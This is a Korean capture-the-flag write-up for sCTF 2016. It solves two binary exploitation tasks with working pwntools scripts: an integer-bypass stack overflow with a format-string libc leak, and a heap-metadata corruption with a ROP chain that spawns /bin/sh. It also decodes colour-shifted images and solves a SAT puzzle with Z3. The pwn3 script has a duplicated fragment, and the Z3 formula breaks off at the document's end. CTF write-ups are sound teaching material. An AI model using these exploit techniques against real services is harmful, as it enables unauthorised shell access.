sctf 2016 writeup

지난 주말 있었던 sctf 풀이입니다.

  1. pwn2
  2. pwn3
  3. Verticode
  4. Vertinet
  5. I Can’t Get No Satisfaction

문제 다운로드

pwn2

int vuln()
{
  char buf; // [esp+1Ch] [ebp-2Ch]@1
  int size; // [esp+3Ch] [ebp-Ch]@1

  printf("How many bytes do you want me to read? ");
  get_n(&buf, 4);
  size = atoi(&buf);
  if ( size > 32 )
    return printf("No! That size (%d) is too large!\n", size);
  printf("Ok, sounds good. Give me %u bytes of data!\n", size);
  get_n(&buf, size);
  return printf("You said: %s\n", &buf);
}
int __cdecl get_n(int buf, unsigned int size)
{
  int i; // eax@2
  int result; // eax@6
  char c; // [esp+Bh] [ebp-Dh]@3
  unsigned int count; // [esp+Ch] [ebp-Ch]@1

  count = 0;
  while ( 1 )
  {
    c = getchar();
    if ( !c || c == 10 || count >= size )
      break;
    i = count++;
    *(_BYTE *)(i + buf) = c;
  }
  result = buf + count;
  *(_BYTE *)(buf + count) = 0;
  return result;
}

입력한 내용을 그대로 돌려주는 에코 서비스입니다. 입력을 두 번 나누어 받는데 두 번째 입력의 크기를 첫 번째 입력에서 결정합니다.

조건이 32보다 큰 경우만을 따지기 때문에 -1을 넣어 크기 조건을 우회할 수 있습니다. 이후 사용자 입력을 읽는 get_n 함수안의 “count >= size” 조건 비교 코드에서 넣어준 -1은 4294967295로 비교됩니다.

입력 버퍼가 main 함수의 스택 영역이기 때문에 스택 기반 퍼버오버플로우 취약점이 존재합니다. 익스플로잇은 프로그램 본문으로 돌아가 plt 영역에 사용자 입력값을 덮어쓰고 FSB로 메모리를 유출하는 방식으로 가능합니다.

#!/usr/bin/env python
from pwn import *
c = remote("problems2.2016q1.sctf.io", 1338)
c.recv()
c.sendline("-1")
c.recv()
c.sendline("A"*44 + 
p32(0x0804a04c) +
p32(0x08048549) +
p32(0xffffffff) * 2 +
p32(0x0804a00c) +
p32(0x41414141) +
p32(0x0804a00c) +
p32(0x41414141) +
p32(0x0804a00e))
c.recv()
c.sendline(p32(0x08048370) + "%08x%s%34059c%hn%33467c%hn")
c.recvn(12)
system = u32(c.recv(4)) - 53488
c.sendline(p32(system) + ";/bin/sh")
c.interactive()
c.close()

pwn3

+-------------------------------------------+
| Welcome to the Universal Blogging Engine, |
| your one-stop-shop for all blogging needs.|
+-------------------------------------------+
+--------------------+
|       Options      |
| [1] Write a post   |
| [2] Edit a post    |
| [3] List all posts |
| [4] Print a post   |
| [5] Quit           |
+--------------------+

블로깅 서비스 컨셉의 문제입니다.

포스트를 생성하는 get_thread 함수에서 포스트가 어떤 구조로 생성되는지 확인할 수 있지만 동적 분석에서 쉽게 취약점이 발견되어 정밀한 분석이 필요 없는 문제입니다.

+--------------------+
|       Options      |
| [1] Write a post   |
| [2] Edit a post    |
| [3] List all posts |
| [4] Print a post   |
| [5] Quit           |
+--------------------+
1
Your name: 1
Title: 2
Contents: 3
Thread successfully added!
+--------------------+
|       Options      |
| [1] Write a post   |
| [2] Edit a post    |
| [3] List all posts |
| [4] Print a post   |
| [5] Quit           |
+--------------------+
1
Your name: 4
Title: 5
Contents: 6
Thread successfully added!
+--------------------+
|       Options      |
| [1] Write a post   |
| [2] Edit a post    |
| [3] List all posts |
| [4] Print a post   |
| [5] Quit           |
+--------------------+
3
ID      : 0
Poster  : 1
Title   : 2
Contents: 3
Next    : 0xffe336ae

ID      : 1
Poster  : 4
Title   : 5
Contents: 6
Next    : 0xffe33718

서비스 기능에서 스택 주소를 노출합니다. 랜덤 스택이라도 함수의 프레임을 기준으로 위치하는 정보는 동일한 오프셋에 위치하기 때문에 익스플로잇에 악용할 수 있습니다.

(gdb) x/4x 0xffe336ae-8
0xffe336a6:	0x33000000	0x00000000	0xffe33718	0x00003401

동적 분석 결과를 보면 두 번째 포스트의 데이터가 첫 번째 포스트와 가까이 위치하고 첫 번째 포스트를 수정해 두 번째 포스트의 메타 데이터를 컨트롤할 수 있습니다.

+--------------------+
|       Options      |
| [1] Write a post   |
| [2] Edit a post    |
| [3] List all posts |
| [4] Print a post   |
| [5] Quit           |
+--------------------+
2
Thread id to edit: 0
New contents for thread: AAAACBBBB
+--------------------+
|       Options      |
| [1] Write a post   |
| [2] Edit a post    |
| [3] List all posts |
| [4] Print a post   |
| [5] Quit           |
+--------------------+
3
ID      : 0
Poster  : 1
Title   : 2
Contents: AAAACBBBB
Next    : 0xffe336ae

ID      : 0
Poster  : 
Title   : 5
Contents: 6
Next    : 0x42424242

Segmentation fault

포스트 데이터의 첫 4바이트는 다음 포스트의 위치를 가르킵니다. 직후에 위치한 한 바이트는 포스트의 id값을 가르킵니다. “Edit a post” 기능은 수정할 포스트 데이터 위치를 찾기 위해 전체 포스트를 하위부터 검색하고 id값을 이용해 수정해야 할 데이터 위치를 찾습니다.

mov     eax, [ebp+var_9190]
movzx   eax, byte ptr [eax+4]
movzx   edx, al
mov     eax, [ebp+var_91A0]
cmp     edx, eax
jle     short loc_80492C8

서비스 기능에서 프로그램 내부 랜덤 스택 주소를 유출하기 때문에 상대 주소 위치에 고정 데이터가 존재하는 영역을 악용하면 원하는 스택 위치에 사용자 입력 값을 채울 수 있습니다.

익스플로잇은 main 함수의 복귀 주소가 저장된 스택 데이터를 원하는 페이로드로 구성하면 가능합니다.

#!/usr/bin/env python
from pwn import *
c = remote("problems2.2016q1.sctf.io", 1339)
c.recv()

c.sendline("1")
c.recv()
c.sendline("1")
c.recv()
c.sendline("1")
c.recv()
c.sendline("1")
c.recv()

c.sendline("3")
c.recvuntil("Next    : ")
stack = int(c.recvn(10), 16) + 0x913e - 104

c.sendline("1")
c.recv()
c.sendline("2")
c.recv()
c.sendline("2")
c.recv()
c.sendline("2")
c.recv()

c.sendline("2")
c.recv()
c.sendline("0")
c.recv()
c.sendline("A"*5 + p32(stack) + "\x01")
c.recv()

c.sendline("2")
c.recv()
c.sendline("183")
c.recv()
c.sendline("A"*3 + p32(0x0806f511)*2 + p32(0) +p32(0x80e2d51) + p32(11) +
p32(0x0806f511) + p32(stack+156) + p32(stack+148) +
p32(0x806f4ea) + p32(0) +
p32(0x0806FBC0) + "/bin/sh\x00" + p32(stack+148) + p32(0))p32(stack+148) + p32(0))
c.recv()
c.sendline("5")

c.interactive()
c.close()

Verticode

Welcome to Verticode, the new method of translating text into vertical codes.

Each verticode has two parts: the color shift and the code.

The code takes the inputted character and translates it into an ASCII code, and then into binary, then puts that into an image in which each black pixel represents a 1 and each white pixel represents a 0.

For example, A is 65 which is 1000001 in binary, B is 66 which is 1000010, and C is 67 which is 1000011, so the corresponding verticode would look like this.

Except, it isn't that simple.

A color shift is also integrated, which means that the color before each verticode shifts the ASCII code, by adding the number that the color corresponds to, before translating it into binary. In that case, the previous verticode could also look like this.

The table for the color codes is:

0 = Red
1 = Purple
2 = Blue
3 = Green
4 = Yellow
5 = Orange

This means that a red color shift for the letter A, which is 65 + 0 = 65, would translate into 1000001 in binary; however, a green color shift for the letter A, which is 65 + 3 = 68, would translate into 1000100 in binary.

Given this verticode, read the verticode into text and find the flag.

Note that the flag will not be in the typical sctf{flag} format, but will be painfully obvious text. Once you find this text, you will submit it in the sctf{text} format. So, if the text you find is adunnaisawesome, you will submit it as sctf{adunnaisawesome}.

PNG 그림 파일을 해석하는 문제입니다. https://pypi.python.org/pypi/pypng 파이썬 라이브러리를 이용하면 PNG 파일안의 픽셀 데이터를 읽을 수 있습니다.

from png import *
r = Reader("code1.png")
l = list(r.read()[2])
c = {"2552550":4, "2551650":5, "1280128":1, "01280":3, "25500":0, "00255":2}
def b(v):
	v = v.replace("0", "1")
	v = v.replace("255", "0")
	return v
s = ""
for x in xrange(0, 12900, 12):
	color = c["{}{}{}".format(l[x][0],l[x][1],l[x][2])]
	value = b("{}{}{}{}{}{}{}".format(l[x][287], l[x][323], l[x][359], l[x][395], l[x][431], l[x][467], l[x][503]))
	print color, value
	s = s + chr(int(value,2) - color)
print s

Vertinet

Welcome to Vertinet.

This problem follows the same specifications as the previous Verticode problem, except that you have to solve many of them by developing a client to communicate with the server available at problems1.2016q1.sctf.io:50000. Good luck.

Verticode 문제의 확장입니다. 서버에서 접속 때마다 PNG 이미지를 자동으로 생성해줍니다. 200연속해서 이미지를 해석하면 플래그를 줍니다.

from png import *
from socket import *
def b(v):
	v = v.replace("0", "1")
	v = v.replace("255", "0")
	return v
s = socket()
s.connect(("problems1.2016q1.sctf.io", 50000))
while True:
	data = s.recv(40960)
	if data.find("<html>") == -1:break
	data = data.replace("<html><img src='data:image/png;base64,", "")
	data = data.replace("'></img>", "")
	with open("code1.png", "wb") as f:f.write(data.decode("base64"))
	r = Reader("code1.png")
	z = r.read()
	l = list(z[2])
	c = {"2552550":4, "2551650":5, "1280128":1, "01280":3, "25500":0, "00255":2}
	sz = ""
	for x in xrange(0, z[1], 12):
		color = c["{}{}{}".format(l[x][0],l[x][1],l[x][2])]
		value = b("{}{}{}{}{}{}{}".format(l[x][287], l[x][323], l[x][359], l[x][395], l[x][431], l[x][467], l[x][503]))
		sz = sz + chr(int(value,2) - color)
	s.send(sz)
print data
s.close()

I Can’t Get No Satisfaction

I've got another task for you involving my little language, Prop!

It consists of the following expressions (denoted e):

Boolean constants, written true and false.
Boolean variables, written as any alphabetical string.
Implies, written e -> e.
Equivalence, written e <-> e.
Negation, written !e.
And, written e && e.
Or, written e || e.
You can also parenthesize any expressions or subexpressions (so, you can write (a || b) && c). Here's another example program:

(a || b) && c && d && (!d || b) || (b -> c) && (d <-> a)
This time, I've determined that the attached program is satisfiable, but I want to know the actual values that make this program satisfiable. Can you find me a satisfying model, please? When you've found one, submit a GET request to our server. Any missing keys are considered false.

Here's an example request:

http://problems3.2016q1.sctf.io:11420/?a=true&b=true&c=false
This request would treat a and b as true and c and the rest of the variables as false. Thus, it's only necessary to assign the true keys to the value true.

복잡한 논리식을 참으로 만족시키는 조건을 구하는 문제입니다. 풀이 내용은 같이 대회에 참가했던 edgar형이 푼 풀이 내용입니다.

import sys

def ReadInfixProp():
	program = open("program.prop", "rb").read()
	#print program
	program = program.replace("&&", "&")
	program = program.replace("||", "|")

	i = 0
	varname = ""
	tokens = []
	while i < len(program):
		ch = program[i]
		if ch in ["!", "(", ")"]:
			if len(varname) > 0:
				tokens.append(varname)
				varname = ""
			tokens.append(ch)
		elif ch == " ":
			if len(varname) > 0:
				tokens.append(varname)
				varname = ""
		else:
			varname += ch
		i += 1
	return tokens
	
tokens = ReadInfixProp()
#print tokens

def ParseTokens(tokens, off, bNext=False):
	#print ">>>> Starting tokens: %s (bNext=%s)" % (" ".join(tokens[off:off+1]), bNext)
	
	i = off
	newidx = len(tokens)
	prevToken = None

	while i < len(tokens):	
		token = tokens[i]

		#print "#%d: %s " % (i, token)
		if token == "(":
			newtoken, idx = ParseTokens(tokens, i+1)
			i = idx
			prevToken = newtoken
			#print "prevToken is set to: %s" % prevToken

			i += 1
			if bNext:
				newidx = i
				#print "breakme"
				break

		elif token == ")":
			newidx = i-1
			break
		
		elif token == "!":
			newtoken, idx = ParseTokens(tokens, i+1, bNext=True)
			i = idx
			prevToken = ["not", newtoken]
			#print "prevToken is set to: %s" % prevToken
			if bNext:
				newidx = i
				break

		elif token == "&":
			newtoken, idx = ParseTokens(tokens, i+1, bNext=True)
			i = idx
			if prevToken[0] == "&":
				prevToken += [newtoken]
			else:
				prevToken = ["&", prevToken, newtoken]
			
		elif token in ["<->", "->"]:
			#print "Going in for: %s" % token
			newtoken, idx = ParseTokens(tokens, i+1, bNext=True)
			i = idx
			prevToken = [token, prevToken, newtoken]
			#print "prevToken is set to: %s" % prevToken

		elif token == "|":
			#print "Going in for: %s" % token
			newtoken, idx = ParseTokens(tokens, i+1)
			i = idx
			prevToken = ["|", prevToken, newtoken]
			#print "prevToken is set to: %s" % prevToken
			
			
		else:
			prevToken = token
			#print "prevToken is set to: %s" % prevToken
			
			if bNext:
				newidx = i
				break
		
		i += 1
	#print "collections: %s" % ", ".join(collections)
	#print "<<<< returning: %s, newidx=%d" % (str(prevToken), newidx)
	
	return prevToken, newidx

converted = ParseTokens(tokens, 0)
converted_tree = converted[0]

def PrintProgram(tree):
	sys.stdout.write("(")
	for leaf in tree:
		if leaf == "&":
			sys.stdout.write("and ")
		elif leaf == "|":
			sys.stdout.write("or ")
		elif leaf == "<->":
			sys.stdout.write("= ")
		elif leaf == "->":
			sys.stdout.write("=> ")
		elif leaf == "not":
			sys.stdout.write("not ")
		elif type(leaf) == type([]):
			PrintProgram(leaf)
		else:
			sys.stdout.write(leaf + " ")
				
	sys.stdout.write(") ")
	
PrintProgram(converted_tree)

식을 중위->전위로 변경하는 코드입니다. z3에 입력할 식을 구하기 위함입니다.

(echo "starting Z3...")

(declare-const a Bool)
(declare-const b Bool)
(declare-const c Bool)
(declare-const d Bool)
(declare-const e Bool)
(declare-const f Bool)
(declare-const g Bool)
(declare-const h Bool)
(declare-const i Bool)
(declare-const j Bool)
(declare-const k Bool)
(declare-const l Bool)
(declare-const m Bool)
(declare-const n Bool)
(declare-const o Bool)
(declare-const p Bool)
(declare-const q Bool)
(declare-const r Bool)
(declare-const s Bool)
(declare-const t Bool)
(declare-const u Bool)
(declare-const v Bool)
(declare-const w Bool)
(declare-const x Bool)
(declare-const y Bool)
(declare-const z Bool)

(define-fun solve () Bool
(or (= (not (and (or (=> (and (= (and (or (and (and (or (=> (= (and false true ) (= false false ) ) (and (not false ) (or false l ) ) ) (not (and (and true false ) (= true v ) ) ) ) (=> (=> (= u false ) (and false m ) ) (and (not false ) (= true g ) ) ) ) (=> (= (and a true ) (=> true j ) ) (or (and true d ) (=> false e ) ) ) ) (= (or (= false true ) (or (= w false ) (or true (or d (or m (or false (not (= (and true false ) (=> true false ) ) ) ) ) ) ) ) ) (or (not (or (and a l ) (not j ) ) ) (not (=> (not m ) (and true false ) ) ) ) ) ) (=> (not (not (= (and (= k true ) (=> true true ) ) (not (and true true ) ) ) ) ) (and (or (not (not (and y true ) ) ) (not (not (or true false ) ) ) ) (or (= (= (and true o ) (or false true ) ) (=> (or c false ) (and s n ) ) ) (= (or (=> k x ) (not true ) ) (and (or true v ) (not true ) ) ) ) ) ) ) (or (=> (= (or (not (not (not false ) ) ) (or (and (=> true false ) (or false false ) ) (not (or u y ) ) ) ) (not (= (=> (or true true ) (and false false ) ) (= (= v x ) (not o ) ) ) ) ) (not (= (or (=> (not false ) (and false u ) ) (not (or true x ) ) ) (or (not (=> false false ) ) (not (not u ) ) ) ) ) ) (not (and (and (= (=> (and i false ) (not r ) ) (not (and o true ) ) ) (or (and (and (not false ) t ) g ) (and (= true false ) (=> true true ) ) ) ) (=> (=> (not (not false ) ) (= (and true true ) (not a ) ) ) (not (not (=> f b ) ) ) ) ) ) ) ) (not (=> (not (not (and (and (=> (and y false ) (= true false ) ) (or false (or y (= false l ) ) ) ) (or (= true false ) (or (=> w i ) (=> (=> y r ) (and true s ) ) ) ) ) ) ) (or (not (=> (or (and (or l true ) (or true true ) ) (= (and true p ) (or true false ) ) ) (or (not (and true true ) ) (= (= true l ) (= true true ) ) ) ) ) (not (or (not (not (and y false ) ) ) (=> (=> (=> t l ) (or true false ) ) (and (and (= false p ) v ) false ) ) ) ) ) ) ) ) (and (and (not (or (=> (=> (not (=> (or false false ) (or true t ) ) ) (not (=> (or true x ) (not false ) ) ) ) (= (=> (= (not false ) (or true c ) ) (=> (or h x ) (= c true ) ) ) (or (and (and (not true ) z ) s ) (=> (not false ) (or false false ) ) ) ) ) (or (and (and (and (not true ) false ) true ) (= (= true q ) (not false ) ) ) (or (= (or (= f false ) (= true true ) ) (and (=> false false ) (=> a false ) ) ) (or (= (= (or (and true true ) (or false true ) ) (not (= true false ) ) ) (and (=> (= true true ) (or false n ) ) (= (or m q ) (=> a true ) ) ) ) (= (= (= (not (= (not true ) (=> true false ) ) ) (or (=> (=> false l ) (and u z ) ) (not (=> true false ) ) ) ) (=> (not (= (or r false ) (=> false c ) ) ) (= (= (and j false ) (or w false ) ) (or (not true ) (=> true true ) ) ) ) ) (and (and (and (= (or (not n ) (not i ) ) (=> (= true false ) (or true false ) ) ) (=> (= (not true ) (or v false ) ) (not (not false ) ) ) ) (= (= (and false true ) (=> false true ) ) (= (or b true ) (or false true ) ) ) ) (= (= (=> g true ) (or true true ) ) (= (not j ) (or false p ) ) ) ) ) ) ) ) ) ) (=> (or (=> (not (=> (=> (not false ) (not true ) ) (=> (=> s false ) (or a j ) ) ) ) (and (=> (not (not false ) ) (and (and (or false false ) r ) false ) ) (= (not (and true true ) ) (= (or true false ) (= j false ) ) ) ) ) (=> (or (=> (= (and true false ) (and false t ) ) (not (not true ) ) ) (= (= (= true true ) (not m ) ) (=> (=> a true ) (and true q ) ) ) ) (and (not (and (not true ) (or true true ) ) ) (not (= (and s g ) (or false true ) ) ) ) ) ) (=> (or (= (and (not (or true false ) ) (=> (not g ) (or true false ) ) ) (or (and (and false true ) (=> s false ) ) (or (= a true ) (=> q q ) ) ) ) (not (or (= (=> u q ) (not true ) ) (not (and true true ) ) ) ) ) (not (=> (=> (and (and y m ) (not true ) ) (not (=> false n ) ) ) (or (and (and (not h ) true ) false ) (or (and c f ) (= true z ) ) ) ) ) ) ) ) (or (=> (= (not (=> (and (= false false ) (= true j ) ) (= (not true ) (= q a ) ) ) ) (=> (not (not (and false u ) ) ) (or (= false y ) (or (and false false ) (= (=> false m ) (= false true ) ) ) ) ) ) (=> (= (=> (or (=> x g ) (=> true true ) ) (not (not true ) ) ) (=> (and (or false false ) (=> s s ) ) (and (and true i ) (not false ) ) ) ) (=> (or (not (and true false ) ) (and (and (= s true ) true ) true ) ) (=> (=> (not true ) (and true false ) ) (= (and u false ) (=> false true ) ) ) ) ) ) (or (=> (and (=> (=> (or true true ) (and false y ) ) (not (= f true ) ) ) (or (= (and false h ) (and e q ) ) (= (= l true ) (=> false p ) ) ) ) (= (=> (not (= false true ) ) (=> (or true false ) (not false ) ) ) (or (= (not true ) (or false true ) ) (= (= true false ) (=> u false ) ) ) ) ) (or (= (not (=> (= v q ) (and q t ) ) ) (or (=> (= true false ) (and p true ) ) (not (and false true ) ) ) ) (= (=> (and (and (not w ) n ) false ) (not (not o ) ) ) (= (and (= false false ) (or c a ) ) (=> (and v x ) (and true false ) ) ) ) ) ) ) ) ) (or (and (= (not (not (not (and (and (and (and (=> (not (=> (not t ) (= false true ) ) ) (= (not (= true e ) ) (and (and false x ) (or a true ) ) ) ) (=> (not true ) (=> true false ) ) ) (=> false false ) ) (=> k false ) ) (=> (=> (and c b ) (= d w ) ) (and (and (or true false ) false ) false ) ) ) ) ) ) (=> (= (or (= (and (and t false ) (=> true true ) ) (and (=> false false ) (not a ) ) ) (or (and (and (and (=> false k ) (=> false false ) ) (=> w true ) ) (or k w ) ) (or (and (=> (= (or false true ) (and true false ) ) (and (= x m ) (not true ) ) ) (= (= (and true false ) (not true ) ) (and (or true e ) (or true true ) ) ) ) (not (or (and true true ) (or (=> true false ) (or (and (= p o ) (not true ) ) (or (=> (and true false ) (and u false ) ) (not (not true ) ) ) ) ) ) ) ) ) ) (or (and (=> (and (or (=> a true ) (= true true ) ) (not (= l true ) ) ) (=> (not (not false ) ) (=> (=> q g ) (or true true ) ) ) ) (or (and (or true (or true (and b true ) ) ) (or (and a true ) (= j s ) ) ) (and (not (=> true z ) ) (=> (and true true ) (and false true ) ) ) ) ) (not (or (not (and (= false false ) (or true true ) ) ) (and (not (= j true ) ) (= (=> n g ) (not t ) ) ) ) ) ) ) (=> (=> (=> (not (=> (and (and true g ) (= z k ) ) (and (not true ) (or g false ) ) ) ) (= (and (not (and i m ) ) (not (and false false ) ) ) (and (=> (and false true ) (= true false ) ) (= (=> b s ) (=> b true ) ) ) ) ) (and (=> (not (=> (and false e ) (not true ) ) ) (= (not (and false true ) ) (=> (= false w ) (not a ) ) ) ) (or (and (not (or d false ) ) (=> (or p k ) (and q false ) ) ) (= (and (and (or true w ) true ) true ) (or true (or b (= false false ) ) ) ) ) ) ) (and (and (=> (= (=> (not (not true ) ) (or (= true z ) (not true ) ) ) (not (or (not false ) (= true s ) ) ) ) (or (= (=> (and l true ) (=> true x ) ) (= (or false n ) (=> false true ) ) ) (not (and (= a u ) (not false ) ) ) ) ) (or (and (=> true i ) (or false i ) ) (or false (or x (or (not false ) (not (not (= b true ) ) ) ) ) ) ) ) (= (or (and (not z ) (=> q true ) ) (and (not h ) (= q o ) ) ) (= (and (and g false ) (or true true ) ) (or h (or true (or false false ) ) ) ) ) ) ) ) ) (=> (= (=> (= (and (=> (not (=> (or false h ) (not z ) ) ) (=> (or (=> false k ) (=> false true ) ) (= (and s v ) (not false ) ) ) ) (not (=> (and (=> l true ) (= false true ) ) (=> (and false true ) (=> true true ) ) ) ) ) (and (or (=> (not (or true true ) ) (not (or f false ) ) ) (=> (or (=> false true ) (=> true false ) ) (= (or false n ) (= g false ) ) ) ) (= (and (= (= false a ) (or f true ) ) (=> (=> false b ) (= false true ) ) ) (not (not (=> true true ) ) ) ) ) ) (and (and (and (and (and (and (and (and (and (=> (and (and (and (and (and (and (and true false ) f ) e ) (not false ) ) (=> true true ) ) (or (and false false ) (or false true ) ) ) (= (not false ) (= false true ) ) ) (not (not (or (= false true ) (or false false ) ) ) ) ) (= (or true (or y (=> false true ) ) ) (=> (and c q ) (and true false ) ) ) ) (or (=> (or v true ) (=> false false ) ) (not (and true false ) ) ) ) (or (not true ) (or true false ) ) ) (=> (= c false ) (or true t ) ) ) false ) i ) true ) false ) (not (and false d ) ) ) ) (and (or (=> (and (and (and (and (and (or (= q false ) (and false m ) ) (=> g true ) ) false ) false ) (= (and q i ) (= s false ) ) ) (or (=> true false ) (=> true false ) ) ) (=> (and (=> (or true true ) (not false ) ) (or true (or true (= true true ) ) ) ) (not (and (or d o ) (not u ) ) ) ) ) (not (or (=> (not (and false true ) ) (= (=> false true ) (not false ) ) ) (not (= (and false false ) (or true false ) ) ) ) ) ) (not (and (=> (and (or (not g ) (=> true x ) ) (=> (= false h ) (or false false ) ) ) (and (and (or true false ) (or true true ) ) (not (not true ) ) ) ) (=> (or (and (=> w true ) (not true ) ) (=> (not false ) (=> p e ) ) ) (or (and (= false false ) (= e false ) ) (and (and (or false false ) true ) w ) ) ) ) ) ) ) (=> (=> (or (and (and (and (and (and (or (and (or s false ) (= d true ) ) (or (not (=> i true ) ) (or (and (and (and false true ) true ) true ) (and (= x false ) (not true ) ) ) ) ) (=> (not true ) (and j true ) ) ) (or (= true p ) (= y false ) ) ) (not (not y ) ) ) (not false ) ) (=> false true ) ) (= (and (and (not (= false true ) ) (not (or p false ) ) ) (=> (not (and w false ) ) (not (or true h ) ) ) ) (= (and (and (and (and (=> (= true true ) (or true true ) ) j ) true ) false ) false ) (and (or (and true v ) (=> true true ) ) (=> (= false x ) (=> false false ) ) ) ) ) ) (and (or (and (not (=> (= true j ) (or true true ) ) ) (or (= (or true f ) (and false p ) ) (or (and s false ) (=> j true ) ) ) ) (not (not (= (or t a ) (and true w ) ) ) ) ) (not (or (not (and (= d true ) (or true false ) ) ) (= (= (or true false ) (not h ) ) (and (or false false ) (=> g false ) ) ) ) ) ) ) (= (=> (and (and (and (and (and (=> (=> (or (=> false false ) (=> t false ) ) (= (=> true true ) (and true d ) ) ) (and (= (and false true ) (or h true ) ) (not (not true ) ) ) ) (=> b true ) ) (=> t false ) ) (or (= v false ) (or k false ) ) ) (or (not false ) (and true true ) ) ) (or j (or h (not l ) ) ) ) (and (and (= (and (and (= (or j r ) (= z true ) ) (= m false ) ) (or o f ) ) (and (= (not m ) (= false false ) ) (or (= false s ) (= t true ) ) ) ) (not (= (=> c true ) (not true ) ) ) ) (not (=> (= false true ) (and true true ) ) ) ) ) (not (not (= (not (= (or true false ) (and true false ) ) ) (or (=> (not true ) (not false ) ) (= (= true false ) (=> l false ) ) ) ) ) ) ) ) ) ) (and (= (or (=> (and (not (=> (and (or (not (=> true true ) ) (or (not true ) (= false false ) ) ) (=> (=> (or o false ) (= false true ) ) (not (= false c ) ) ) ) (=> (=> (=> (=> false false ) (and false true ) ) (not (=> true false ) ) ) (= (=> (= m z ) (or false true ) ) (or (and t v ) (and v y ) ) ) ) ) ) (not (= (not (= (or (= p true ) (=> false c ) ) (and (or true false ) (=> n u ) ) ) ) (or (not (or (= false false ) (or r z ) ) ) (= (not (= b false ) ) (or (and h j ) (or b n ) ) ) ) ) ) ) (= (= (and (=> (or (= (not i ) (= x true ) ) (not (not s ) ) ) (=> (=> (and true e ) (=> true true ) ) (= (and true false ) (= true true ) ) ) ) (= (and (not (= a l ) ) (= (or f true ) (or true z ) ) ) (not (=> (and false false ) (=> false true ) ) ) ) ) (not (not (not (not (or false false ) ) ) ) ) ) (= (=> (not (and (or (and true o ) (and c true ) ) (= (=> false false ) (= true false ) ) ) ) (not (or (= (or true a ) (=> true false ) ) (or (not true ) (not true ) ) ) ) ) (or (not (= (=> (=> false r ) (= true y ) ) (or (not false ) (and g k ) ) ) ) (= (and (and (and (and (and (not true ) false ) true ) g ) true ) (= s true ) ) (not (=> (and false t ) (= false j ) ) ) ) ) ) ) ) (or (and (= (and (or (=> (or (not h ) (= s true ) ) (or (= true false ) (or i false ) ) ) (=> (=> (not true ) (=> false true ) ) (not (= r c ) ) ) ) (or (and (and (and c false ) (=> false false ) ) (not (= true false ) ) ) (= (=> (= b d ) (=> true true ) ) (= (and true false ) (=> b v ) ) ) ) ) (or (=> (=> (=> (or true false ) (or false u ) ) (=> (not p ) (= h u ) ) ) (=> (= (not true ) (not e ) ) (and (= false false ) (= true b ) ) ) ) (=> (=> (= (not m ) (not true ) ) (not (= true false ) ) ) (and (= (and true true ) (or k true ) ) (not (not false ) ) ) ) ) ) (= (and (=> (and (=> (not c ) (=> false false ) ) (or true (or z (=> true false ) ) ) ) (or (=> (or false false ) (=> p true ) ) (or (= false u ) (not false ) ) ) ) (=> (and (=> (=> p true ) (not false ) ) (= (not false ) (and false s ) ) ) (= (or (and s true ) (not h ) ) (= (not false ) (= true true ) ) ) ) ) (=> (=> (not (and (=> true v ) (or false i ) ) ) (= (and (=> n true ) (or b true ) ) (not (not true ) ) ) ) (=> (or (and (=> true true ) (not o ) ) (or true (or h (and s true ) ) ) ) (and (and (=> (not m ) (not y ) ) (= false false ) ) (or true false ) ) ) ) ) ) (not (or (= (or (not (not (= false c ) ) ) (or (and (=> false a ) (or false false ) ) (not (not true ) ) ) ) (and (not (or (= g false ) (=> false false ) ) ) (or (= (not true ) (=> false true ) ) (= (not true ) (and false false ) ) ) ) ) (not (and (=> (=> (or false q ) (=> g true ) ) (or (=> b false ) (=> i false ) ) ) (=> (= (not true ) (=> false true ) ) (and (and true v ) (or o p ) ) ) ) ) ) ) ) ) (or (and (not (=> (and (=> (=> (or false false ) (not false ) ) (or (=> true false ) (not false ) ) ) (not (and (and (=> true i ) l ) true ) ) ) (and (=> (not (or false g ) ) (and (= false f ) (or false true ) ) ) (= (or (=> true d ) (or true a ) ) (not (or true m ) ) ) ) ) ) (=> (=> (not (not (and (and true m ) (not false ) ) ) ) (not (not (= (=> false true ) (and false true ) ) ) ) ) (= (=> (and (or (and true true ) (not w ) ) (not (and a false ) ) ) (not (= (and false n ) (or true k ) ) ) ) (= (and (or (and false false ) (= g false ) ) (not (or c x ) ) ) (and (or (=> r true ) (= true q ) ) (not (and true q ) ) ) ) ) ) ) (or (not (= (not (not (not (=> (=> false false ) (=> false p ) ) ) ) ) (= (=> (and (not (= true m ) ) (= (= f true ) (=> e true ) ) ) (not (not (= false false ) ) ) ) (or (and (= (= true true ) (or false v ) ) (= (=> f q ) (= false j ) ) ) (and (and (and (not a ) false ) true ) (= (= true j ) (=> true false ) ) ) ) ) ) ) (not (and (or (not (and (=> (or (= true true ) (or l x ) ) (= (=> f m ) (and p true ) ) ) (=> (=> (=> false j ) (not false ) ) (= (= false j ) (=> k false ) ) ) ) ) (= (or (not (not (and c true ) ) ) (not (or (= true z ) (= false k ) ) ) ) (or (=> (not (or false true ) ) (and (not false ) (or false false ) ) ) (or (not (= true true ) ) (=> (not d ) (and false false ) ) ) ) ) ) (not (=> (= (=> (not (not false ) ) (and (and true false ) (= true true ) ) ) (not (and (=> false false ) (=> j true ) ) ) ) (not (and (= (=> a true ) (= false true ) ) (or (and true true ) (=> false false ) ) ) ) ) ) ) ) ) ) ) (not (= (and (or (and (not (= (= (not (= false true ) ) (not (and true false ) ) ) (=> (=> (not q ) (=> l k ) ) (not (or d true ) ) ) ) ) (not (= (=> (=> (= false l ) (not true ) ) (and (and true true ) (or false v ) ) ) (=> (and (or y true ) (not s ) ) (= (not true ) (not true ) ) ) ) ) ) (= (and (and (not (=> (and (= j false ) (or true true ) ) (and (and true j ) (= false true ) ) ) ) (not (or x (or g (= true e ) ) ) ) ) (or (=> (and i false ) (not false ) ) (not (or f true ) ) ) ) (and (not (and (or (and true true ) (=> s false ) ) (or (=> v u ) (or y false ) ) ) ) (= (not (=> (= v true ) (not false ) ) ) (not (=> (or true false ) (=> true d ) ) ) ) ) ) ) (= (not (=> (and (=> (= (or false v ) (and true x ) ) (not (or false m ) ) ) (= (or (and false d ) (= false false ) ) (=> (or k m ) (or true p ) ) ) ) (= (or (and (not false ) (or true true ) ) (and (and y i ) (not false ) ) ) (= (or (and false false ) (and true true ) ) (and (= false true ) (=> true false ) ) ) ) ) ) (and (= (not (and (and (not true ) (not false ) ) (not (not g ) ) ) ) (= (or (= (and false true ) (= n b ) ) (=> (and e true ) (and true false ) ) ) (= (=> (=> false true ) (= false false ) ) (=> (= i o ) (= true true ) ) ) ) ) (=> (and (and (and (not (= false false ) ) (= k true ) ) (= true false ) ) (not (not (= true true ) ) ) ) (not (or (=> (not y ) (and j false ) ) (and (=> r false ) (not false ) ) 